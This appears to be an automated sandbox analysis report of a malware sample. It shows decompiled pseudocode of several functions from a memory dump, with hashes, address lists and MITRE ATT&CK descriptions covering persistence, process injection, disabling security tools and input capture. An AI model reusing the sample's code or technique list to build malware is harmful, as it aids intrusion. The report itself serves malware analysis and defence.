					} else {
						if(E004859DA(_t90 - 0x74, _t89) == 0) {
							E00485F29(_t90 - 0x74, _t89);
							goto L5;
						}
					}
					break;
				}
				return E0049D8E9(_t56, _t87, _t89);
			}

0x00487213
0x00487213
0x0048721d
0x00487222
0x00487224
0x0048722e
0x00487234
0x00487238
0x0048723c
0x00487248
0x0048724b
0x00487250
0x00487251
0x00487254
0x00487257
0x0048725a
0x0048725d
0x00487260
0x00487267
0x00487269
0x0048726c
0x0048726f
0x00487272
0x00487275
0x00487278
0x0048727b
0x0048727e
0x00487281
0x00487284
0x00487287
0x0048728a
0x0048728d
0x00487294
0x00487295
0x0048729e
0x004872a1
0x004872a4
0x004872a9
0x004872b5
0x00000000
0x00000000
0x004872bb
0x004872bd
0x004872bf
0x004872c5
0x004872ce
0x004872d3
0x004872d7
0x004872dd
0x004872e4
0x004872fc
0x00487302
0x00487303
0x00487304
0x00487307
0x00487310
0x00487315
0x00487318
0x0048731c
0x00487326
0x00487328
0x0048732d
0x00487337
0x00487339
0x0048734d
0x0048734f
0x00487356
0x00000000
0x00000000
0x00487356
0x0048734d
0x00487337
0x004872e6
0x004872f1
0x004872f7
0x00000000
0x004872f7
0x004872f1
0x00000000
0x004872e4
0x00487361

APIs

__EH_prolog3_GS.LIBCMT ref: 0048721D

Strings

@, xrefs: 00487238
@, xrefs: 00487234

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_
String ID: @$@
API String ID: 2427045233-149943524
Opcode ID: 1910a22e70208366c72b4208d2332c2b94e8cfe59228e861259c6a05f42947c6
Instruction ID: d022816c5cc100a6ea101223940f1cf018e589ed328258847531d57c543562ea
Opcode Fuzzy Hash: 1910a22e70208366c72b4208d2332c2b94e8cfe59228e861259c6a05f42947c6
Instruction Fuzzy Hash: 044180B1C043099ACF14FFAAD991ADEBBB5BF14314F10456FE559A3281DB348A45CF24

Uniqueness

Uniqueness Score: -1.00%

Function 0048037D, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0048037D(intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t47;
				signed int _t62;
				intOrPtr* _t65;
				void* _t69;
				void* _t73;
				void* _t74;
				signed int _t82;
				intOrPtr* _t84;
				void* _t85;
				intOrPtr _t86;
				intOrPtr _t87;

				_t65 = __ecx;
				_push(0x6c);
				E0049D93F(0x4d588a, __edi, __esi);
				_t84 = _t65;
				_t45 =  *((intOrPtr*)(_t85 + 8));
				 *((intOrPtr*)(_t85 - 0x74)) =  *((intOrPtr*)(_t85 + 8));
				 *((char*)(_t85 - 0x54)) = 0x40;
				 *((char*)(_t85 - 0x44)) = 0x40;
				E0047C1E0(_t85 - 0x70, _t45);
				 *((char*)(_t84 + 0xc)) = 0;
				_t47 = 0xffffffc1;
				 *((intOrPtr*)(_t84 + 4)) = 0;
				 *((intOrPtr*)(_t84 + 8)) = 0x80000000;
				 *((intOrPtr*)(_t85 - 0x28)) = 0x80000000;
				 *((intOrPtr*)(_t85 - 0x18)) = 0x80000000;
				 *((intOrPtr*)(_t85 - 0x38)) = 0x80000000;
				 *_t84 = _t47;
				 *((char*)(_t85 - 0x34)) = 0;
				 *((intOrPtr*)(_t85 - 0x3c)) = 0;
				 *((intOrPtr*)(_t85 - 0x40)) = _t47;
				 *((char*)(_t85 - 0x24)) = 0;
				 *((intOrPtr*)(_t85 - 0x2c)) = 0;
				 *((intOrPtr*)(_t85 - 0x30)) = _t47;
				 *((char*)(_t85 - 0x14)) = 0;
				 *((intOrPtr*)(_t85 - 0x1c)) = 0;
				 *((intOrPtr*)(_t85 - 0x20)) = _t47;
				E0047C1E0(_t85 - 0x60, _t84);
				_t82 = 1;
				while(1) {
					_t69 = _t85 - 0x50;
					_t62 = _t82 & 0x00000003;
					E0047C1E0(_t69, _t85 - 0x70);
					_push(_t69);
					if(E004804A7(_t62, _t69, _t82, _t84, _t85, _t85 - 0x30) != 0) {
						break;
					}
					_push(1);
					_push(1);
					_t87 = _t86 - 0x10;
					 *((intOrPtr*)(_t85 - 0x78)) = _t87;
					E0047C1E0(_t87, _t85 - 0x50);
					 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
					 *(_t85 - 4) =  *(_t85 - 4) | 0xffffffff;
					E0048075C(_t62, _t84, _t82, _t84);
					if(_t62 != 0) {
						L5:
						_push(1);
						_push(1);
						_t86 = _t87 - 0x10;
						 *((intOrPtr*)(_t85 - 0x78)) = _t86;
						E0047C1E0(_t86, _t85 - 0x40);
						 *(_t85 - 4) = 1;
						 *(_t85 - 4) =  *(_t85 - 4) | 0xffffffff;
						_t73 = _t85 - 0x20;
						if(E0048075C(1, _t73, _t82, _t84) == 0) {
							_push(_t73);
							_t74 = _t85 - 0x30;
							if(E00480608(1, _t74, _t82, _t84, _t85, _t85 - 0x20) == 0) {
								_push(_t74);
								if(E0047FDCB(1, _t85 - 0x70, 0, _t82, _t84,  *((intOrPtr*)(_t85 - 0x74))) == 0) {
									_t82 = _t82 + 1;
									if(_t82 <= 0x2710) {
										continue;
									}
								}
							}
						}
					} else {
						if(E00480ACB(_t85 - 0x60, _t84) == 0) {
							E0047C1E0(_t85 - 0x60, _t84);
							goto L5;
						}
					}
					break;
				}
				return E0049D8E9(_t52, _t82, _t84);
			}

0x0048037d
0x0048037d
0x00480384
0x00480389
0x0048038b
0x00480392
0x00480395
0x00480399
0x0048039d
0x004803a9
0x004803ae
0x004803af
0x004803b2
0x004803b5
0x004803b8
0x004803bb
0x004803c2
0x004803c4
0x004803c7
0x004803ca
0x004803cd
0x004803d0
0x004803d3
0x004803d6
0x004803d9
0x004803dc
0x004803df
0x004803e6
0x004803e7
0x004803ed
0x004803f0
0x004803f3
0x004803f8
0x00480404
0x00000000
0x00000000
0x0048040a
0x0048040c
0x0048040e
0x00480414
0x0048041a
0x0048041f
0x00480423
0x00480429
0x00480430
0x00480448
0x0048044e
0x0048044f
0x00480450
0x00480453
0x00480459
0x0048045e
0x00480461
0x00480465
0x0048046f
0x00480471
0x00480476
0x00480480
0x00480482
0x00480490
0x00480492
0x00480499
0x00000000
0x00000000
0x00480499
0x00480490
0x00480480
0x00480432
0x0048043d
0x00480443
0x00000000
0x00480443
0x0048043d
0x00000000
0x00480430
0x004804a4

APIs

__EH_prolog3_GS.LIBCMT ref: 00480384

Strings

@, xrefs: 00480399
@, xrefs: 00480395

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_
String ID: @$@
API String ID: 2427045233-149943524
Opcode ID: 0314bd074694b7ff17ae93b12c7526b73b36774af9141daac29b7e3bcaf25882
Instruction ID: 80e2c82255a6d97ff39b6a59cce6e6e0c63d7e1fca81ffd2a30c4d094d93ecbd
Opcode Fuzzy Hash: 0314bd074694b7ff17ae93b12c7526b73b36774af9141daac29b7e3bcaf25882
Instruction Fuzzy Hash: 41416071D103089EDF54FBB9C981ADEBBB4EF54304F10452FE559E3292EA385A08CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00485AF6, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00485AF6(intOrPtr* __ecx, void* __edi, void* __esi, void* __eflags) {
				signed char _t53;
				signed int _t54;
				void* _t65;
				void* _t68;
				signed int _t71;
				signed int _t72;
				intOrPtr* _t73;
				intOrPtr* _t74;
				intOrPtr* _t77;
				intOrPtr* _t79;
				void* _t80;
				signed int _t85;
				intOrPtr* _t87;
				intOrPtr _t89;
				void* _t90;
				void* _t91;
				intOrPtr* _t92;
				intOrPtr* _t93;

				_t73 = __ecx;
				_push(0x44);
				E0049D93F(0x4d64d2, __edi, __esi);
				_t87 = _t73;
				_t89 =  *((intOrPtr*)(_t91 + 8));
				_t53 =  *((intOrPtr*)(_t89 + 0x10));
				if((_t53 & 0x00000040) == 0) {
					__eflags = _t53;
					if(_t53 < 0) {
						L10:
						_t49 = _t87 + 0x10;
						 *_t49 =  *(_t87 + 0x10) | 0x00000040;
						__eflags =  *_t49;
						_t54 = 2;
					} else {
						__eflags = _t53 & 0x00000020;
						if((_t53 & 0x00000020) != 0) {
							goto L10;
						} else {
							_push(_t73);
							_push(_t73);
							_t74 = _t92;
							 *((intOrPtr*)(_t91 - 0x50)) = _t92;
							 *((char*)(_t91 - 0x28)) = 0x40;
							_t85 = _t89 - _t74;
							__eflags = _t85;
							_t71 = 2;
							do {
								 *_t74 =  *((intOrPtr*)(_t85 + _t74));
								_t74 = _t74 + 4;
								_t71 = _t71 - 1;
								__eflags = _t71;
							} while (_t71 != 0);
							 *(_t91 - 4) =  *(_t91 - 4) & _t71;
							 *(_t91 - 4) =  *(_t91 - 4) | 0xffffffff;
							E00486B9A(_t91 - 0x38);
							E00485F29(_t91 - 0x4c, _t89);
							 *(_t91 - 0x48) =  *(_t91 - 0x48) | 0xffffffff;
							_t72 = _t71 + 1;
							_push(_t72);
							_push(_t72);
							_t93 = _t92 - 0x14;
							 *((intOrPtr*)(_t91 - 0x4c)) = 0xffffffc1;
							_t77 = _t93;
							 *((intOrPtr*)(_t91 - 0x50)) = _t93;
							 *((char*)(_t77 + 0x10)) = 0;
							 *(_t77 + 8) =  *(_t77 + 8) & 0x00000000;
							 *((intOrPtr*)(_t77 + 0xc)) = 0x3f;
							 *(_t77 + 4) =  *(_t77 + 4) | 0xffffffff;
							 *_t77 = 0xffffffe0;
							E00485852(_t77);
							 *(_t91 - 4) = _t72;
							 *(_t91 - 4) =  *(_t91 - 4) | 0xffffffff;
							_t78 = _t91 - 0x38;
							_t90 = E00485C66(_t72, _t91 - 0x38, _t85, _t87, _t89);
							_t79 = _t87;
							E00485F68(_t79, _t85, _t87, _t90, __eflags, _t91 - 0x4c, _t78);
							_push(_t79);
							_t80 = _t91 - 0x1c;
							 *((char*)(_t91 - 0x14)) = 0x40;
							E00480E44(_t80, 0x412ec0);
							 *(_t91 - 0x20) =  *(_t91 - 0x20) | 0xffffffff;
							_push(_t80);
							 *((intOrPtr*)(_t91 - 0x24)) = 0xffffffc0;
							 *((char*)(_t91 - 0x14)) = 0;
							_t65 = E0048653A(_t72, _t91 - 0x38, _t87, _t90, _t91, _t91 - 0x24);
							_push(_t72);
							_push(_t72);
							_t94 = _t93 - 0x14;
							_t89 = _t90 + _t65;
							 *((intOrPtr*)(_t91 - 0x50)) = _t93 - 0x14;
							E00485F29(_t94, _t91 - 0x38);
							 *(_t91 - 4) = 2;
							 *(_t91 - 4) =  *(_t91 - 4) | 0xffffffff;
							_t68 = E00485C66(_t72, _t87, _t85, _t87, _t89);
							__eflags = _t68 + _t89;
							if(_t68 + _t89 == 0) {
								_t72 = 0;
								__eflags = 0;
							} else {
								 *(_t87 + 0x10) =  *(_t87 + 0x10) | 0x00000040;
							}
							_t54 = _t72;
						}
					}
				} else {
					 *(_t87 + 0x10) =  *(_t87 + 0x10) | 0x00000040;
					_t54 = 1;
				}
				return E0049D8E9(_t54, _t87, _t89);
			}

0x00485af6
0x00485af6
0x00485afd
0x00485b02
0x00485b04
0x00485b07
0x00485b0c
0x00485b1a
0x00485b1c
0x00485c17
0x00485c17
0x00485c17
0x00485c17
0x00485c1d
0x00485b22
0x00485b22
0x00485b24
0x00000000
0x00485b2a
0x00485b2a
0x00485b2b
0x00485b2c
0x00485b2e
0x00485b33
0x00485b39
0x00485b39
0x00485b3b
0x00485b3c
0x00485b3f
0x00485b41
0x00485b44
0x00485b44
0x00485b44
0x00485b49
0x00485b4c
0x00485b53
0x00485b5c
0x00485b61
0x00485b65
0x00485b66
0x00485b67
0x00485b68
0x00485b6b
0x00485b72
0x00485b74
0x00485b77
0x00485b7b
0x00485b7f
0x00485b86
0x00485b8a
0x00485b90
0x00485b95
0x00485b98
0x00485b9c
0x00485ba4
0x00485bab
0x00485bad
0x00485bb2
0x00485bb8
0x00485bbb
0x00485bbf
0x00485bc4
0x00485bcb
0x00485bd0
0x00485bd7
0x00485bdb
0x00485be0
0x00485be1
0x00485be2
0x00485be5
0x00485bea
0x00485bf0
0x00485bf5
0x00485bfc
0x00485c02
0x00485c07
0x00485c09
0x00485c11
0x00485c11
0x00485c0b
0x00485c0b
0x00485c0b
0x00485c13
0x00485c13
0x00485b24
0x00485b0e
0x00485b0e
0x00485b14
0x00485b14
0x00485c23

APIs

__EH_prolog3_GS.LIBCMT ref: 00485AFD

Strings

@, xrefs: 00485B33
@, xrefs: 00485BBB

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_
String ID: @$@
API String ID: 2427045233-149943524
Opcode ID: 8cb567a4eac42cf0ba81e911690f9364293b2517a1a9b2b79b9f97d5a527cea5
Instruction ID: f96ae6994d6189260e198c5a55ae92dbca0fea0334840a30f258951f0b4eeb37
Opcode Fuzzy Hash: 8cb567a4eac42cf0ba81e911690f9364293b2517a1a9b2b79b9f97d5a527cea5
Instruction Fuzzy Hash: 253113B0900704AFDB14FFB8C9466AEBFB4AF11328F14475EE162A72C1D7785A06CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0047F9A5, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0047F9A5(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed char _t45;
				signed int _t46;
				void* _t57;
				void* _t60;
				signed int _t65;
				intOrPtr* _t66;
				intOrPtr* _t70;
				void* _t77;
				intOrPtr* _t79;
				intOrPtr* _t81;
				void* _t82;
				void* _t83;
				intOrPtr* _t84;
				intOrPtr* _t85;

				_t77 = __edx;
				_t66 = __ecx;
				_push(0x38);
				E0049D93F(0x4d57ad, __edi, __esi);
				_t79 = _t66;
				_t81 =  *((intOrPtr*)(_t83 + 8));
				_t45 =  *((intOrPtr*)(_t81 + 0xc));
				if((_t45 & 0x00000040) == 0) {
					__eflags = _t45;
					if(_t45 < 0) {
						L8:
						_t41 = _t79 + 0xc;
						 *_t41 =  *(_t79 + 0xc) | 0x00000040;
						__eflags =  *_t41;
						_t46 = 2;
					} else {
						__eflags = _t45 & 0x00000020;
						if((_t45 & 0x00000020) != 0) {
							goto L8;
						} else {
							 *((char*)(_t83 - 0x24)) = 0x40;
							 *((intOrPtr*)(_t83 - 0x44)) = _t84;
							 *_t84 =  *_t81;
							 *(_t83 - 4) =  *(_t83 - 4) & 0x00000000;
							 *(_t83 - 4) =  *(_t83 - 4) | 0xffffffff;
							E00483932(__ebx, _t83 - 0x30, _t81, _t66);
							E0047C1E0(_t83 - 0x40, _t81);
							 *((intOrPtr*)(_t83 - 0x40)) = 0xffffffc1;
							_t65 = 1;
							_t85 = _t84 - 0x10;
							_t70 = _t85;
							 *((intOrPtr*)(_t83 - 0x44)) = _t85;
							 *((char*)(_t70 + 0xc)) = 0;
							 *(_t70 + 4) =  *(_t70 + 4) & 0x00000000;
							 *((intOrPtr*)(_t70 + 8)) = 0x3f;
							 *_t70 = 0xffffffe0;
							E004808D0(_t70);
							 *(_t83 - 4) = 1;
							 *(_t83 - 4) =  *(_t83 - 4) | 0xffffffff;
							_t71 = _t83 - 0x30;
							_t82 = E0048075C(1, _t83 - 0x30, _t79, _t81);
							_t72 = _t79;
							E004801A4(_t79, _t77, _t79, _t82, __eflags, _t83 - 0x40, _t71);
							_t73 = _t83 - 0x1c;
							 *((char*)(_t83 - 0x14)) = 0x40;
							E00480E44(_t83 - 0x1c, 0x412ec0);
							 *((intOrPtr*)(_t83 - 0x20)) = 0xffffffc0;
							 *((char*)(_t83 - 0x14)) = 0;
							_t57 = E00480608(1, _t83 - 0x30, _t79, _t82, _t83, _t83 - 0x20);
							_t86 = _t85 - 0x10;
							_t81 = _t82 + _t57;
							 *((intOrPtr*)(_t83 - 0x44)) = _t85 - 0x10;
							E0047C1E0(_t86, _t83 - 0x30);
							 *(_t83 - 4) = 2;
							 *(_t83 - 4) =  *(_t83 - 4) | 0xffffffff;
							_t60 = E0048075C(1, _t79, _t79, _t81, 1, 1, _t73, _t72, 1, 1);
							__eflags = _t60 + _t81;
							if(_t60 + _t81 == 0) {
								_t65 = 0;
								__eflags = 0;
							} else {
								 *(_t79 + 0xc) =  *(_t79 + 0xc) | 0x00000040;
							}
							_t46 = _t65;
						}
					}
				} else {
					 *(_t79 + 0xc) =  *(_t79 + 0xc) | 0x00000040;
					_t46 = 1;
				}
				return E0049D8E9(_t46, _t79, _t81);
			}

0x0047f9a5
0x0047f9a5
0x0047f9a5
0x0047f9ac
0x0047f9b1
0x0047f9b3
0x0047f9b6
0x0047f9bb
0x0047f9c9
0x0047f9cb
0x0047faac
0x0047faac
0x0047faac
0x0047faac
0x0047fab2
0x0047f9d1
0x0047f9d1
0x0047f9d3
0x00000000
0x0047f9d9
0x0047f9de
0x0047f9e2
0x0047f9e5
0x0047f9e7
0x0047f9eb
0x0047f9f2
0x0047f9fb
0x0047fa02
0x0047fa09
0x0047fa0c
0x0047fa0f
0x0047fa11
0x0047fa14
0x0047fa18
0x0047fa1c
0x0047fa23
0x0047fa29
0x0047fa2e
0x0047fa31
0x0047fa35
0x0047fa3d
0x0047fa44
0x0047fa46
0x0047fa51
0x0047fa54
0x0047fa58
0x0047fa61
0x0047fa6c
0x0047fa70
0x0047fa77
0x0047fa7a
0x0047fa7f
0x0047fa85
0x0047fa8a
0x0047fa91
0x0047fa97
0x0047fa9c
0x0047fa9e
0x0047faa6
0x0047faa6
0x0047faa0
0x0047faa0
0x0047faa0
0x0047faa8
0x0047faa8
0x0047f9d3
0x0047f9bd
0x0047f9bd
0x0047f9c3
0x0047f9c3
0x0047fab8

APIs

__EH_prolog3_GS.LIBCMT ref: 0047F9AC

Strings

@, xrefs: 0047F9DE
@, xrefs: 0047FA54

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_
String ID: @$@
API String ID: 2427045233-149943524
Opcode ID: 60969d8bf9d51a695d0f44a35701fa0d38b9d4e211375623c64418a13e6c58b8
Instruction ID: 39dfbee77f49447f130cd69d59a479f20feb56feef13357304bdd5504ee4f477
Opcode Fuzzy Hash: 60969d8bf9d51a695d0f44a35701fa0d38b9d4e211375623c64418a13e6c58b8
Instruction Fuzzy Hash: D831D8B19103089EDB10EFA4C946BEDBBB4AF11328F10825EE059B72C1D77C5E0ACB59

Uniqueness

Uniqueness Score: -1.00%

Function 00433953, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00433953(void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t12;
				intOrPtr _t15;
				intOrPtr _t29;
				void* _t37;
				intOrPtr* _t38;

				_push(0);
				E0049D90B(0x4c5a49, __edi, __esi);
				_t12 =  *0x4eeb5c; // 0x80000001
				if(_t12 >  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x2c])) + 4))) {
					E0049D21D(0x4eeb5c);
					__eflags =  *0x4eeb5c - 0xffffffff;
					if(__eflags == 0) {
						 *(_t37 - 4) = 0;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						 *0x4f0034();
						 *0x4eeb60 = 0x40f558;
						 *0x4eeb64 = 0;
						 *0x4eeb68 = 0;
						E0049D09F(__eflags, 0x4d7530);
						 *(_t37 - 4) =  *(_t37 - 4) | 0xffffffff;
						 *_t38 = 0x4eeb5c;
						E0049D1D3();
					}
				}
				_t29 =  *((intOrPtr*)( *[fs:0x2c]));
				_t15 =  *0x4eeb58; // 0x80000002
				_t2 = _t29 + 4; // 0xc35fe900
				if(_t15 >  *_t2) {
					E0049D21D(0x4eeb58);
					__eflags =  *0x4eeb58 - 0xffffffff;
					if(__eflags == 0) {
						 *(_t37 - 4) = 1;
						 *0x4eeb70 = 0x40f578;
						 *0x4eeb74 = 0x4eeb60;
						 *0x4eeb84 = 2;
						 *0x4eeb7c = 0;
						 *0x4eeb80 = 0;
						 *0x4eeb88 = 0;
						 *0x4eeb78 = 0x4eeb70;
						E0049D09F(__eflags, 0x4d752f);
						 *(_t37 - 4) =  *(_t37 - 4) | 0xffffffff;
						 *_t38 = 0x4eeb58;
						E0049D1D3();
					}
				}
				return E0049D8D4(0x4eeb70);
			}

0x00433953
0x0043395a
0x00433969
0x00433974
0x0043399d
0x004339a2
0x004339aa
0x004339ac
0x004339b6
0x004339b7
0x004339b8
0x004339b9
0x004339c4
0x004339ce
0x004339d3
0x004339d9
0x004339de
0x004339e2
0x004339e9
0x004339ee
0x004339aa
0x00433981
0x00433983
0x00433988
0x0043398e
0x004339f6
0x004339fb
0x00433a03
0x00433a05
0x00433a13
0x00433a1d
0x00433a27
0x00433a31
0x00433a37
0x00433a3d
0x00433a42
0x00433a48
0x00433a4d
0x00433a51
0x00433a58
0x00433a5d
0x00433a03
0x00433997

APIs

__EH_prolog3.LIBCMT ref: 0043395A

Strings

c:C, xrefs: 00433A13
pN, xrefs: 00433A42

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3
String ID: c:C$pN
API String ID: 431132790-133659216
Opcode ID: e58b28bc259cad9ec360a256c10a51717aabea1fb0246b112787638b9712a8ba
Instruction ID: 721940fcf0a402a7c91967d45b137a88ac537366f990e9f008f02cf686942519
Opcode Fuzzy Hash: e58b28bc259cad9ec360a256c10a51717aabea1fb0246b112787638b9712a8ba
Instruction Fuzzy Hash: 16214C70D00680DEDB10EF6BE9956187BA2AB08726F60463FE1528F7E2C77865459B0D

Uniqueness

Uniqueness Score: -1.00%

Function 00443806, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00001000,00000000), ref: 00443831

Strings

K32GetProcessMemoryInfo, xrefs: 00443865
GetProcessMemoryInfo, xrefs: 00443842

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: OpenProcess
String ID: GetProcessMemoryInfo$K32GetProcessMemoryInfo
API String ID: 3743895883-1962974740
Opcode ID: 049101f823ee28f1bb29dd5332a62457e83325362bb10e723031ba1e4a093d72
Instruction ID: fbd2607e2e50012dd5bd2a8f34f43baeaa0228b3dbb5db9b8667995970460b70
Opcode Fuzzy Hash: 049101f823ee28f1bb29dd5332a62457e83325362bb10e723031ba1e4a093d72
Instruction Fuzzy Hash: 9EF08630600204A6FB14BF769D46FAFB7E5AF04B55F100436B501A62D1EFA8DA01865D

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

